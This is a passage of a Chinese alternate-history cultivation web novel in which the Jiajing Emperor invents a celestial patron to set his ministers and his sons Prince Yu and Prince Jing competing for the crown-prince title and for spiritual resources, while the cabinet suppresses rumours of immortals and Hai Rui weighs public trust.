“但我更倾向于另外一种,”徐阶说着,看了眼众人,然后压低声道:“或许皇上跟仙人,确切的说是仙界之间,达成某种交易……” “交易?!”听到这个字眼,众人本能的眉头一皱,凡人与仙凭什么交易? 若是如此的话,这暗中要付出何等代价? “凡人与仙人之间,犹如天堑鸿沟,中间还隔着一个修仙者阶段。” “若说皇上玄修,打动了仙人,还情有可原,那是仙人仁慈赐福,这最好!” “可听殿下说,吕芳也修仙了,如今皇上还赐给了殿下仙法……若是你们,仙人赐法,你会未经同意,随便乱赐给旁人吗?” 徐阶说着,看向其他人。 众人都是一怔,然后齐齐摇头。 裕王也是微微点头,父皇赐给了他仙法,可他也不敢乱赐给别人。 “所以,只能是仙人允许的。”徐阶点了点头,“赐一人仙法,是仁慈。” “允许赐下更多,还有那仙朝的打造,灵田的培育…那就是对一国仙朝之期许。” “最重要的是,皇上可以要求仙人出手,覆灭俺答来犯的大军,这仙人……”说着,徐阶眉头深锁,沉沉道:“会不会太好了?” “寺庙道观,都需要香火供奉,然后神灵才会庇佑凡人,达成凡人愿望,这是传说。” “所以仙人对大明如此之好,我不太倾向于是仙人的仁慈,被皇上虔诚之心打动。” “殿下方才说,”徐阶说着,语气一顿,道:“修仙,是要用到灵气的,还有辅助的灵物资源,若是将大明,打造成仙朝……” “那么多的灵田,灵物资源,怕是要多数上交于仙人。” “仙人之上,难道就不需要资源吗?” “所以,陛下与仙人之间,应该有交易!” “大明就算是发展仙朝,怕是资源也要交给仙人大半,然后才能是我们自己用的……” 听完徐阶的一番话,众人顿时有种茅塞顿开的感觉。 一番从利益出发,冷静思考,分析,有理有据,令人信服! 相比于虔诚之心打动仙人,被赏赐仙法,又是助你修仙,又是助你灭敌,又让你打造仙朝。 这仙人,会不会太好了点? 嗯,除非仙人是成祖他老人家,否则不沾亲不带故的,凭什么这么帮朱家天下? 越想,众人越觉得真相就是如此。 “那么如此一来,就出现了一个新的问题,”这时,张居正略一沉吟后,看向裕王,“这修仙资源分配就是个问题了!” “资源就那么多,可能分给仙人大部分,然后分给皇上一些,再然后用于仙朝发展……” “那么,这些资源又会剩下多少?” “日后,我大明修仙的高层越来越多,定然会面临资源不均的问题。” “从凡人,到仙人,这要耗费多少资源?此外,每个人身后还有家庭,家族……” 随着张居正开始笼统的算账,裕王的眉头锁的也是越来越深。 “殿下,朝中二王,就你跟景王殿下了,仙途一旦踏上,那么就是双方一系之人的资源争夺之战,你要做好与景王殿下更严苛的争斗!” “若是可以的话,”说到这里,张居正,这位裕王的老师,眼神中似有锋芒展露,“太子之名,殿下必须要掌握在手!” “天下资源,除了皇上,当归储君!” “……” 第一百一十二章 人心思变,欲壑难填,缺乏安全感的嘉靖 争夺储君?! 几乎是同时,景王府,大殿内。 景王同样也将修仙之事告诉了严嵩父子。 相比于激动的不能自已,满脑袋想的是位列仙班美好愿景的严世蕃,严嵩倒是冷静不少。 这世上,没有无缘无故的爱。除非仙人是朱家的祖宗,才会如此帮助朱家的天下。 否则,那就只剩下一个可能了,仙人跟陛下之间,达成了某种交易。 这个交易的可能性从利益角度出发,也只能是大明发展仙朝,给仙人上交物资。 徐阶不信,是仙人仁慈,看皇上虔诚才会如此帮忙,严嵩自然更不信了。然后,这两个内阁首辅和次辅,做出了同样的判断。 并且,严嵩也跟张居正想的一样。 那就是继续争储! “殿下,”严嵩抬了抬耷拉着的老眼,看向景王,语气沉沉道:“储君,是皇上之下第一人,也是能坐享资源最多之人。” “一旦上交大部分的资源给仙人后,那么其他更多的资源只能是皇上的。” “而你们二位殿下能得到的会很少!” “而且,这部分资源,还要拨出一部分,用来仙朝发展,”说着,严嵩一双眸子中,像是有刀子一般,盯着面色逐渐凝重的景王道: “皇上是个什么样的性格,您最清楚吧?” 闻言,景王一怔,而后点了点头,他自然明白自己父皇是个什么样的人了。 自私、贪婪、敏感、多疑、冷酷、无情、凉薄的人,帝王拥有的一切本性,他都具备! 苦一苦天下臣民,福他来享。 “殿下你要明白,你身后站着的不光是你自己,还有支持殿下的人!这些资源,你需要用来培养人手,心腹,然后人多好办事。” “未来仙朝疆域会很大,很大……”严嵩的语气中,透露着一股诱惑。 “北边的蒙古草原,南边的诸国,还有日本岛,西洋诸国,太多了,太多了啊……”这一刻,严嵩再次暴露出了自己的贪婪本性。 一旁的严世蕃,看着老爹蛊惑景王的模样,不由的吞了口口水。 老爹的胃口,太大了吧?不怕撑着也? 嗯,不过若是真的能将这些疆域,都划到大明麾下,在这些疆域培育大量的灵田,种植大量的灵稻、灵瓜、灵果。 那还不是海量的修仙资源涌入? “届时,天下资源,除了仙人的,就是皇上的,皇上之下,那就是皇子的……”说着,严嵩语气一顿,压低声音,幽幽道: “殿下也不想跟他人平分资源吧?” 听到这话,景王微微点头,他原本就没打算跟裕王平分资源,自然是能捞就捞。 在他原本的想法里,既然不再争储君了,那还不如专心主攻仙道,求长生来的痛快。 既然如此,那不如专心捞钱,额,不对,是捞以后灵田培育出来的灵物资源。 但是现在经过严嵩这么一说,他感觉自己被打开了另外一条思路。 做不了皇上,那做皇上之下的第一人,国之储君,能捞到的修仙资源,岂不是更多? 不仅如此,还名正言顺! 以后,大明可以对外发动战争,将海外诸国,全都弄成灵田,为自己提供资源。 “所以,”看着面容渐缓,眉宇间有意动之色的景王,严嵩沉声道:“储君之位,必夺!” “皇上修为越深,闭关就越久,那监国的大任会落在谁肩上?太子,就是第一人!” “呼,”听完严嵩这一番鞭辟入里的分析后,景王深吸了一口气,道:“我明白了!” “不过,父皇似乎没有册立储君的意思,我担心父皇修仙长生,就没这方面的打算。” “不,”严嵩微微摇头,道:“皇上必然是要用人的。仙朝,也是国家,是国家就离不开‘江山社稷’这四个字。” “元朝末年的王子一,曾在《误入桃源》一书中写到:山中方七日,世上已千年。” “皇上修行,经常闭关,按照殿下所言,修仙闭关,稍有不慎就是数月时间。” “随着修为的增长,闭关时间会更长!” “一旦皇上闭关修炼,稍有不慎,就会出现国家无主的尴尬境地。而那时若是大明已步入仙朝之路……侠尚以武犯禁,何况是仙?” “所以,国家想要稳定,就必须要要有储君坐镇,以安天下民心!” “皇位或许遥遥无期,但储君之位,皇上定然会考虑的,殿下要思考的是如何让裕王永远失去竞争储君的资格和机会!” “本王明白了。”景王点了点头说道:“那不知严阁老,可有何良策?” “如今内阁权力遭到收回,归为二位殿下,那么地方上的权力,都将遭到清洗。” “皇上要的是一个沉疴积弊尽数消散,新生的大明,这是底线,不能动!” “想要扳倒裕王,现在还不能着急,只能等到整顿吏治、土地改制结束后才行。”说着,严嵩缓缓起身,严世蕃赶紧扶着。 “有老臣为殿下保驾护航,殿下尽管放心就是。接下来,殿下要学着如何治国了。” 听到这话,景王抬了抬眼,看向严嵩。 这确实是自己的短板,如果要竞争储君之位,他就要在治国方面超过裕王才是。 昨天在玉熙宫,面对父皇考校,他竟然哑口无言,那一刻他确确实实意识到了,光是有父皇的喜欢还不够,还要有真本事。 尤其是未来仙朝太子之位,更是重要。 “老臣已经给殿下,找好了几位老师,有他们在,殿下定不会比裕王差。” “哦?不知是谁?”严嵩给自己找的老师,景王也来了兴趣。 “唐顺之、胡宗宪。”说着,严嵩语气微微一顿,又缓声道:“还有海瑞。” “不过这个海瑞,需要殿下您亲自去接触,他不属于任何人,但也可以属于任何人。您去找他学习,他不会拒绝的。” “时辰不早了,老臣就不打扰殿下稍后进宫修仙了。”说着,严嵩躬身一礼后,转身离去。 从景王府里出来,行至王府院墙边上空处,在上轿之前,严嵩突然道: “等会给六部一个说法。” 说法?严世蕃一愣,不明白的看向老爹。 “仙人之说,闹得太大了,”严嵩语气淡淡,“身为六部高官,不想着为君分忧,为江山社稷分忧,成天谈论虚无缥缈的仙人之说。” “到底是六部,还是市集?成何体统?” “以后,不准再议论仙人之说了,让他们都静下心来,好好尽好为官的本分!” “是,我会去办。”严世蕃听到这番话,顿时明白了老爹的意思。 仙人,修仙之说,没必要让内阁之外的人知道了。 一来,现在距离仙朝发展还很远。 二来,就算仙朝刚发展,灵田出现,也轮不到六部这些官员们。 仙人分完皇上分,皇上分完二位殿下分,二位殿下分完,还要用于建设仙朝。最后,才是他们这些内阁之人喝点汤汤水水。 至于六部官员,就别想着这些有的没的了。嗯,估计这些人都看不到仙朝那一天。到时候,谁知道六部官员死了几茬了? 嗯,就连他们,年龄也大了,以后有个伤病什么的,也还要指着二位殿下吊命。 其他人,且等着吧,现在他们最应该做的就是,不要再贪婪这些,以免队伍难带,搞的人心不定,成天浮躁。 全都应该静下心,好好为国操劳。 “清流那边,会同意吗?”突然,严世蕃又问道。 “放心吧,”严嵩说着,俯身进入轿子,语气温吞道:“资源就这么点,他们自然懂。” “嘭!”裕王府,大殿里。 又恢复活力的高拱,狠狠锤了一下桌子,怒声道:“照你们这么说,严嵩那老狐狸,肯定也不会放过捞资源的机会。” “以前,严嵩这老贼能贪钱,修仙资源,事关成仙,难保他不会更贪,不,是肯定会贪!这次贪的可能就是未来仙朝的根基!” “不论如何,我们都要阻止他!” “储君之争,皇位已经不是重点了,”徐阶抚了抚胡须,沉声道:“储君,意味着更多的资源,所以殿下,储君你必须要争!” “一旦让严党支持的景王殿下成为储君,那么仙朝还不知道会被他们搅得如何不安宁?” “所以,即便是万年太子,为了大明仙朝,您也要坐上去!” 嗯,清流就是清流,说话做事,永远都是冠冕堂皇,不像严嵩一样那么直白。 “呵,”听完这些心腹之臣的一番话后,裕王不禁苦笑摇头,道:“你们可害苦了我了。”说完,深吸一口气,表情严肃了下来。 “嗯,”知道自己把储君之位,想的简单了的裕王也沉着脸,点头道:“我明白,为了大明仙朝,这仙朝太子的位子,我坐!” “殿下仁德,英明!”众人纷纷起身行礼。 为了大明不世之仙朝基业,苦一苦我朱载坖,去坐那仙朝太子之位又如何? 裕王凝视着前方,心中暗暗道。 “呵,”识海内,嘉靖的视线缓缓从本命大明上收回,而后退出识海,睁开双眼,嘴角勾起一抹笑容,舒适的靠坐在软软的榻子上,拉长声道:“裕王跟景王,要当太子了。” “嗯?!”正忙着煮灵粥的吕芳吓得手里木勺一抖,险些把砂锅打翻了,然后急忙看向嘉靖,道:“主子,二位殿下这是要?” 不会是要造反吧?争储? 一瞬间,吕芳脑子里想到了玄武门之变,不过很快他又将这些可笑的念头压下。 裕王跟景王可没这个胆子,而且别说主子已经修仙,有种种仙法手段,就算是凡人的时候,也是随时随地,轻松拿捏二人。 “人心思变,欲壑难填,是人就会有,”嘉靖说着,有些意味深长的起身,走向精舍,道:“事关利益,亲儿子也是靠不住的……” 听着嘉靖这一番话,吕芳低下了头。 虽然主子这么说,但他知道,主子并没有不开心。 因为这本就是主子想要用亲儿子,又要对亲儿子有所防备,故意为之罢了! 帝心猜疑,这是自古称孤道寡者,皆有的。身为皇帝,对任何人都猜,包括儿子。 但有时候,还要用儿子们! 为何要编造一个仙人出来?为的就是让内阁诸臣去猜,然后为了资源分配去争斗。 甚至就连亲儿子,也要被算计在内。 当然,就连吕芳也不知道,主子到底是如何拥有仙法的,但他不会去问,永远都不会。 “你在想什么?”这时,走到一半的嘉靖,又回头看向吕芳,语气听不出任何情绪,“是不是也觉得朕凉薄无情?连儿子都不信?” “奴婢不敢,”吕芳心中一慌,赶紧跪下道:“奴婢只想伺候主子,奴婢得主子恩赐,踏上仙途,旁的,奴婢什么都不想!” “哼!”嘉靖轻哼一声,转身走向精舍,“粥要糊了!” 听到主子这么说,吕芳心头顿时一松,赶紧起身,然后快步走向砂锅。 突然,吕芳又悄悄回头看向嘉靖的背影,然后心底轻轻一叹,他理解主子。 这么说,不过是源于心底还存在的那么一些父子情,让他觉得是在算计儿子,才会有此情绪的一瞬紊乱罢了,主子终究不是真凉薄。 嗯,他太了解自家的主子了,除了自私之外,有时候就跟小孩子一样,也渴望温情。 但那极重,且多变的猜疑心思,又让他变得敏感,然后就成了孤家寡人。 武宗驾崩,主子的经历,注定了让他不会相信任何人,没有化身暴君,已是不容易了。 嘉靖自然不知道吕芳心里所想,否则定会跳下道台,狠狠踹着老货一脚,然后指着他的鼻子,警告他,无端揣测圣心是死罪! 本命物这东西,永远是嘉靖心里的一根刺,谁能保证,以后大明仙朝,某个犄角旮旯里,不会出现一个,拥有更好本命之人。 或者,若是某个人的本命是一个村子,一个小镇,一座城?那村能发展成镇、镇能发展成城,城也能发展成一国! 为了修仙,本命物就需要不断的蜕变,打磨,变强,反哺本命后,才能让自身变强。 这些可能,不是不能有! 嘉靖可不认为,自己的本命可以是大明,别人的本命,就不能是一个村子之类的。 再或者,像是什么逆天本命…… 总之,从给吕芳删减过的《基础引气诀》开始,他心里其实一直就有一个疙瘩。 给吕芳‘引气诀’上,没有本命之说,也存了这方面的心思。 但这事没法阻止,当修仙者筑基之后,拥有神识,必然会进入识海,看到自己的本命。 那时,自然也就能明白一切了! 本命会牵引着修者,去寻找本命物,冥冥中的一种感应,就像是本能一样。 “三垣天区,紫薇星域……”嘉靖抬手,取出一本《星域通识纪要》的古籍,翻到最中间,找到了一段,只有只言片语的记载信息。 “……大角星并非最大,还有大亢星,之外青龙星域,还有归道门、佛门所属的房宿、心宿、氐宿、尾宿、箕宿……” “……再远,再大,传闻二十八宿外,还有遥远的三垣天区……本人也是于一处秘境,听闻一缕修者残魂的唱词中听闻……” “紫薇星域,非儒、非释、非道,传闻有‘王朝’林立,这‘王朝’又是何物?想来是类似于书院的一种庞大存在……” “嗯,言归正传,大角星乃是……” 看着只言片语的一段,嘉靖的目光注视到书上“王朝”两个字。 “紫薇星域,王朝林立,必然是修仙王朝了,朕的本命是王朝,那修仙王朝林立的庞大势力,是否也有人与朕一样?” “或许,紫薇星域会有解决之法?”想着,嘉靖又摇头叹息。 横跨星辰需要更大的传送阵,星辰内传送,只要距离不是久远,对修为没太大要求,但是世界传送,至少也要筑基才可以。 像是相隔不知道多远的星域、天区传送,怕是金丹都不一定能有资格随便乱窜。 这些,都是他了解到的一些常识。 “或许可以从一些修仙商会中,多方留意这些古籍典籍……”嘉靖想着,收起了书。 其实嘉靖对自己没有筑基,就能入识海一直有留意,之前有古籍说这种情况特殊,但极少,而且也说明不了什么,单纯视作幸运即可。 可本命物是王朝,绝对不可能简单了。 因为大角星众人,就他生活的圈层里,连“王朝”的概念都没有,没人知道这是什么。 就连这本破损严重的书,不知道哪个修士游历天下时,从秘境残魂的唱词中听闻。 然后被猜测为像书院一样的存在,足以说明,王朝做本命,至少在大角星,肯定不能用一句幸运,巧合就能遮掩过去。 或许,只有到了王朝林立的紫薇星域才能知晓一二,说不定哪个王朝之主本命就是王朝。 本命,本命物的存在,让他心里有了一些紧迫感,嗯,这主要来源于他的猜疑和防备心。 他信不过任何人,但又觉得自己是居安思危,这么想,没有任何毛病。 “……” 又是1万+,诚意满满。 有存稿啦~~~明天就能调整回来了,更新时间,调整为中午12点一更,下午6点一更。 放在白天吧,上架后的章节量太大了,晚上大家会熬夜,还容易浮躁,白天最好。 第一百一十三章 捂嘴,从六部捂到大同?海瑞的君父滤镜!百官死谏玉熙宫! 翌日。 一则消息从钦天监传出。 北境战场之上,所谓的仙人降世,不过是一种特殊的天象,是雷霆划过天际,出现的一种祥瑞而已,至于阴山山脉塌陷,是地龙翻身。 原因?国师早就说过了,天相早有预示,只是俺答贼夷不听劝,报应! 之后,内阁对六部官员,进行了斥责。 严厉斥责六部一些不思进取、懈怠政务官员每每朝会之际,非议国家大事,却沉迷于谶(chen)纬,闲做长舌妇人之举。 一时间,关于北境仙神之说,直接在朝中被禁止。没有任何一个官员敢公开谈论。 当然,只是严党一系,对于严嵩的斥责噤若寒蝉倒也罢了,清流可不鸟严党。 然而随着徐阶、高拱、张居正和赵贞吉等人,对某些将口风打探到他们身边之人,公开呵斥后,六部所有高层官员终于意识到了。 这次是整个内阁,在集体连手捂嘴了。 当然,按理说,内阁只是辅助皇帝进行决策,并不具备直接管理六部的权力的,他们是没资格斥责六部的。 不过,这是明面上这么说,实际情况就是内阁诸老的权力,就是除皇上和皇子外最大的,谁敢不服,公然作对,下场就是外放。 甚至,等着他的还有可能会是牢狱之灾。 而且,这上头说不定还有裕王跟景王二位殿下的授意,更甚至就是皇帝对他们的不满。 至于钦天监说的话,还真有不少人信了。认为这世上根本不存在什么仙人。 北境发生的一切,很有可能真就如钦天监说的那般,就是一次特殊的祥瑞天象而已。 至于俺答来犯的数万大军,也正如国师之前说的那般,星相早有预示,有灾祸,有兵戈,有伤亡,之后地龙翻身,葬灭阴山。 一切都不过是巧合而已! 古往今来,天地异象还少吗? 其中这么想的人,不乏一些聪明人,他们可不相信世上真的有仙。 要是真的有仙人,史书上怎么会没有记载,从古至今多少修仙问道的帝王有几个成了? 怎么就偏偏轮到他们这一朝就有了? 再者说,如果有仙人相助大明,朝廷就应该大大方方的放出来,宣告天下才是。 如此天下所有的叛乱,贼人、南方的倭寇,还不是人人自危?纳头就拜?还有,那些天灾什么的,不照样没有半点减少? 有人信,自然就有人不信。 不信的人,想的是如果是假的,那内阁为何会严厉斥责,假的终究是假的,何必这么大反应,这明显就是在心虚才会捂嘴。 至于为啥不大肆宣告天下? 这还不简单,仙踪为啥难觅,仙人高高在上,岂能被俗世所累? 人心难测,如果宣告世界上有仙人,那这天下会顷刻间,涌出大量害人的教派。 那时会有无数的百姓上当。 官员、边军,人人都去求仙拜神,追寻仙踪,朝廷不瘫痪了?政令如何上行下效? 一份内阁的斥责文书,让六部高层官员之间,对这事的讨论,在暗地里达到了一个高峰,正反双方辩论的那叫一个欢实。 不过他们也就只能私下里聚会谈谈,当做是饭后谈资,又或者是好友聚会的辩论。 事实上,根本没有求证之处。 随着时间的推移,天下是否有仙,已经从最开始的,煞有其事,变成了一种乐趣。 而北境那些将士们,也在内阁的命令下,由宣大总督唐顺之和大同巡抚海瑞,以及事件亲历者,总兵王崇古等人对将士们进行安抚后抛却脑后,不再深信不疑的认为世上有仙。 大同,巡抚衙门。 “抚台?”体态肥胖,富态的像个员外老爷的参政李志远,笑着看向堂上批阅公文的海瑞,一副欲言又止的谄媚模样。 “李参政,有话你可以直说。”海瑞手中大笔勾勾画画,头也没抬一下。 北境战场已经不存在了,严党和清流直接罢手言和,这就是仙人出世的威力! “嘿嘿,”李志远笑了笑,虽然坐在下方,但还是使劲的朝着海瑞探了探身子,压低声道:“您说,是真的吗?” “何事?”海瑞惜字如金,处理完一份公文,立刻又打开一份公文。 “仙人之事啊!”见海瑞一幅寡淡的神情,李志远顿时一急,道:“钦天监说,天上的仙人只是当日的祥瑞而已。” “甚至可以看做是地龙翻身前,当时阴山附近的环境所致,世上根本没有仙人。而阴山塌陷,说国师早有预示……” 说着,李志远一直观察着海瑞的神情,可惜的是,什么都看不出来。 他说这些,也不过是想从海瑞这里,得知些仙人之事,如今内阁不让谈论,这是要断绝其他人的仙途?这个海瑞,可能比内阁知道的还多。 所以,若是能从他处得知一些,说不定,也能获得一些仙缘。 “李参政,”李志远还在说着,就听海瑞平淡,却很有穿透力的声音响起,“读过大明律吗?” 嗯?虽然疑惑海瑞怎么突然问自己有没有读过大明律,但李志远还是自得一笑,轻抚胡须,道:“这个是当然的!” “在下不才,还参与过大明律修撰商讨,对刑律方面的几条规定做了提议。虽说最后没被采纳,但也是得刑部侍郎肯定的。” “大明律第十八卷,刑律第三条,讲了什么?”海瑞语气依旧平静,手上动作也是丝毫不慢,迅速又拿起一份公文。 说话间,始终没有功夫抬头看他。 “大明律,卷十八,刑律第三条……”李志远略一思索,胖胖的脸上,浮现出一抹自信之色,摇头晃脑的开始背诵。 “凡造谶纬、妖书、妖言,及传用惑众者,皆斩。皆者,谓不分首从,一体科罪。余条言“皆”者,并准此……” 刚背诵到一半,李志远顿时哑火。 一张胖胖的脸上,原本自得的表情顿时精彩无比。 此时他自是明白了海瑞的意思。 这是说自己妖言惑众了啊,这是内阁前不久才呵斥的六部官员,用的也是谶纬之类的话。 “背完。”海瑞严肃的声音响起。 听到这话,李志远顿时脸黑,只能捏着鼻子,把剩余的内容背完。 “若私有妖书,隐藏不送官者,杖一百,徒三年。”李志远刚说完,海瑞也处理完了一本公文,然后这才有功夫抬起头看去。 “李参政,既然钦天监和内阁已经做出了回应,这就是朝廷的意思。” “我们如今肩负着‘屯兵兴农’的国策,想的应该是如何仗清土地,分配给军户。” “此外,还要安抚那些军户,给予更多的优待,以确保他们心甘情愿的耕种。” “这个时候,沉迷于这些仙人谶纬,”说着,海瑞严肃道:“是否有失为官本分?” 看着严肃的海瑞,李志远讪讪一笑,道:“抚台说的是,下官妄言了。”说着,拿起桌上的田亩账册,道:“这就办,这就办……” 不过心里,却是暗暗腹诽海瑞。 听内阁的话?这话是你海瑞说的吗? 东南定海县一案,谁不知道你海瑞公然将内阁清流诸老的话当耳旁风的?噢,这个时候,你想起听内阁的话,不传谣,不信谣了? 你这么听话,反而显得这事是内阁在捂嘴了好吗?而你海瑞,说不定早就知道陛下玄修,可可能得到仙人相助的真相了! 甚至,你已经获得仙法也不一定了! 现在自己吃饱了,满嘴流油的,开始不管别人还饿着了是吧?什么清官,呸! “不入内阁,终为蝼蚁啊……”李志远不是蠢人,自然看出来了,内阁定是已经确定了一些事情,甚至有可能得到了好处。 所以才会急着捂嘴了。 可笑的是,朝中六部竟然还有人信了。难以想象,这种蠢材,竟然能呆在六部? “别想蒙我,我可是知道的,王崇古,以及那日参战的几个副将,全都被警告了的。” “至于那些大头兵,则是被当地教谕前去教化忽悠,让他们明白不过是天降祥瑞而已。 呵,那些个粗鄙庸俗的大头兵能懂什么? 三言两语就给那些人哄的,把这事翻篇忘脑后,只想着等赏钱,老婆孩子热炕头……” “不过也是,仙人不仙人的,跟他们有什么关系呢?又不能给他们吃,给他们喝……” “唉,我当初就不应该来这破地方,”李志远想着,摇着脑袋轻叹一声,暗道:“先干个一年半载,功劳到手,明年春后必须要调回去!” “我的战场应该是京师六部,我应该在朝中大谈国策,不是跟一帮臭军汉为伍……” 如今的大同,跟李志远抱有同样想法的人,不在少数,甚至更多。 北境战场上,严党和清流瞬间静默。 他们同时收到了消息,必须配合,相互辅助,完成屯兵兴农的国策。 一些士绅家族更是在战事结束,消息传回内阁的三日后,罪证就被摆在了海瑞的案桌上。 没看到现在,海瑞都在处理抄家所得的非兼并的土地,还有一些晋商家族走私的证据? 这些种种反常行为,要说跟那仙人没关系才是真正的怪事情。 “内阁已经知道皇上玄修有成了,但却不知那日天上的仙人,就是皇上……”被李志远起了话头,海瑞心中也暗暗思索起来。 “如此看来,这是皇上故意编造了一个仙人的存在,那么内阁和一些人,就会以为皇上如今的一切,来源于天上的仙人……” 海瑞的大脑飞速运转着。 不过人不在京师,海瑞也无法确切的判断,皇上此举的目的是什么。但想来,终究是离不开‘利益’、‘权力’这些东西。 其实海瑞也不希望,皇上修仙的事被其他更多的人知晓。 首先就是朝堂之上,百官会如何想? 皇上修仙了,那臣下是不是也有所期望和盼头了?给还是不给?君臣猜疑,皇上能放心的下臣子,还是臣子能信的过皇上? 如果给了仙法,那修仙资源如何分配?人心思变,欲壑难填,面对长生,谁能冷静? 大明仙朝发展是要一步步来的,必须要先巩固上位者的权力,再向下层层泽被。 再说民众百姓,又会如何想? 当最初的狂热信仰退去之后,那么换来的或许会是恐慌和秩序的混乱。 这份恐慌可能会因为一点微小的旁枝末节,就导致一发不可收拾。 比如大明境内的一些叛军。 不少地方的叛乱,都来源于一些生活不下去的百姓,不得不走上反叛之路。 天下百姓,信不过皇帝!这些人面对一个修仙的皇帝,又会怎么想呢? 无他,除了绝望就是绝望。 当然,这些还不是最麻烦的,若是有心之人,想趁此机会起事,不用想都知道,必然是流言满天飞,让大明陷入惶恐,和混乱之中。 届时百姓会相信有鼻子有眼的流言呢?还是会相信这个道士皇帝是个好皇帝呢? 自家皇帝此前是个什么人,谁不知道?难不成还能一直杀到天下无人不敢质疑不成? 即便是海瑞自己,最初猜到皇上玄修成功,他的第一反应是什么?他第一时间是怀疑,长生的皇帝是否会为不死的贼,大盗天下! 海瑞自己都如此,何况是百姓呢? 你皇帝修仙,跟我老百姓有什么关系呢? 难道皇上您,还能带着我们一起?真这么好的话,我们还能像现在这样,水深火热? 所以,在海瑞看来,若想要改变天下臣民心中,对自家这个道士皇帝固有的印象,这是一件长久的部署和潜移默化的改变! 整顿吏治,肃清贪腐,稳固边疆,土地改制变法,让百姓有田种,吃饱穿暖。如此再辅以宣传,方能让百姓对皇帝信任,并拥戴。 最后,当得知皇帝得仙人赐法,可以修仙长生,百姓只会相信,皇上确实变好了。 看吧,果然是好皇帝,否则仙人怎么会赐法呢?仙人都认可了呢! 如此,天下人知道皇帝修仙后,才不会因为狂热退却后,生出怀疑,害怕,惶恐等情绪。 只会与有荣焉! 水到渠成,毫无波澜,不外如是。 人心的成见是一座大山,需要一步一个脚印的去趟平它,而不是靠天下人的恐惧来佯装、粉饰太平,谁不服就镇压谁! 通过仙法震慑天下,换来的秩序,这从根本上讲就是在通过国恐惧,来维持秩序。 这样做,短期内可能会让臣民表面上服从,但长期来看,就会导致不满和反感。 当仙朝体量庞大之后,仙法普及后,这就是一个巨大的隐患,不知道哪天爆发。 “将消息控制在内阁等小范围内,皇上此举……甚好!”这些念头在海瑞脑海中浮现,心中对嘉靖也越发的佩服了起来。 然而这些,不过是他对嘉靖的君父“滤镜”而已。嘉靖确实有这方面的考虑,但不多,只是这个决策,恰好贴合海瑞的理念! 嘉靖更多的,不过是想通过仙人赐法,让百官,还有两个儿子为争修仙资源而内斗。 从而让他自己,内心拥有足够的安全感。 …… 嘉靖四十年,九月廿八,大雨。 距离北境俺答来犯,再到阴山葬灭,已经过去了大半个月。 这大半个月来,朝中风云突变。 首先就是东南官场巨变,朱纨案被正式启动,当年旧事重提,牵扯官员还在的人人自危,不在的,其背后家族终日惶恐。 而主持‘朱纨案’之人,不是别人,正是内阁次辅徐阶,清流派的首脑。 之前还有心情私下里议论仙人传说,阴谋论朝廷的百官,这一刻再也没了心情。 尤其是清流一派,他们每个人,代表的都是各自背后的士绅大族。如今突然被自家的“老大”背刺,只觉得措手不及,天都塌了。 经过十数天的反应,六部官员,两京一十三省各地官员,都开始陆续上疏,弹劾徐阶! 地方上,更是有不少徐阶家族,还有与之相关联的利益家族,等等罪证,全部呈上官府。 还有,俺答被押送到了京师。 此时,玉熙宫,灵田小院内,禁制隔绝之下,天穹之上大雨被弹开。 下方小院安静如世外之地。 一人高,在灵气的飘荡中,摇曳着柳枝的柳树苗下,裕王跟景王二人盘膝而坐。 每人手里,都紧攥着一个小玉瓶。 此时二人正一边冥想‘引气诀’的行功观想图,一边有节奏的呼吸吐纳着。 不知道过了多久,二人终于缓缓睁开双眼。 “三哥打通多少穴窍?”景王收起手上装着灵源的玉瓶,抬眼看向裕王。 看着景王脸上的笑容,裕王知道,这个四弟这次修炼,应该是有了一些收获。 不过,他也不落后于他! “有所收获,十个。”裕王说话间,嘴角略有自得笑容勾起,“引气入体,打通二百一十个穴窍,还差的远,四弟呢?打通了几个?” “呵,”听到这话,景王淡淡一笑,从草地上坐起身,道:“倒是比三哥快些,十一个了,算是抹去了个零头而已!” 听到景王这么说,裕王笑容一僵。 他才突破到第十个,老四竟然也打通了十一个,这岂不是说,他一直比自己快? 修仙天赋上,自己竟然不如他? “三哥,还是要多练,不可懈怠了,呵……”说着,景王拍了拍裕王的肩膀,起身朝玉熙宫内走去。嗯,能压裕王一头,他感觉很爽。 出生你比我早,占着顺位第一的名头也就算了,总不能修行上你也比我强吧? 什么好事,都能让你一个人占了? 边上的吕芳早早的就等候着了,看到二人修炼完毕后,立刻上前,道:“恭喜二位殿下,修为精进。”二王的讨论,他自然是听到了的。 嗯,大半个月打通十一个穴窍,这天赋,呵,差了些。 自己半年时间,二百一十处穴窍,如今只剩下了六个左右了。 而且自己当时可没有这么多资源供给,不过很快,吕芳就在心里将这份自满压下。 “吕公公呢?打通多少了?”这时,压下心中不快的裕王看向吕芳。 一旁的景王也好奇的望来。 吕芳一直跟在父皇身边,早早的就修仙了,应该打通很多了吧? “奴婢天赋不如二位殿下,全靠着一股子轴劲,和主子赏赐灵物,才有如今的修为……”吕芳笑着摇摇头,不打算说。 听到吕芳这么说,裕王跟景王对视一眼,心中顿时知道,吕芳怕是比他们天赋强。 如果吕芳穴窍不多,定会如实说出数量,因为就算他提早修行,平均下来也不会太多。 吕芳何等人精,肯定会用自己来抬高他们,现在不说数量,只说自己不行。 那意思已经很明确了,比你们强! 一时间二人心中对彼此的不满,转为对吕范的怨念和嫉妒。 不过很快,二人压下了心头的情绪,来到玉熙宫偏殿,向精舍中的嘉靖行礼。 “父皇,俺答被押入大牢,不知该如何处置?”裕王率先开口。 一旁的景王也跟着道:“还有就是瓦剌麾下,哈剌辉特部的首领,亦思哈·哈喇前来朝贡,想要见父皇一面……” “此人是原瓦剌部,哈剌辉特部首领,亦思马因之子,亦思马因死后,哈剌辉特部分裂成好几个部落,亦思哈·哈喇继承了哈剌辉特部。” 听着二人的话,嘉靖就要开口,这时就听玉熙宫外,传来一阵急促的脚步声。 听到声音,吕芳眉头一皱,对着嘉靖躬身行了一礼后,立刻快步朝着大殿外而去。 然后就见,浑身湿透了的陈洪小跑而来。 “何事?不是说了吗,天大的事,不可轻闯玉熙宫吗?如此慌张,成何体统!” 看到陈洪,吕芳不由轻声呵斥。 虽然陈洪狂悖,但他可从未放在眼里。 面对吕芳呵斥,若是以前,陈洪肯定不服,但现在想到吕芳可能跟着皇上修仙,他心里那点不服,早已经掐灭了。 “大监恕罪,”陈洪躬身告罪一声,然后这才吞了口口水,压低声急促道: “六部不少官员,联合不少御史言官,抱着各地上来的弹劾奏本…… 跪在了西苑外,扬言要弹劾徐阁老,死谏惩治内阁诸老,他们要求要见陛下!” “还说,内阁乱政,不是宰相,却欲行宰相之权,蒙蔽圣听,践踏皇权,要求严惩!” 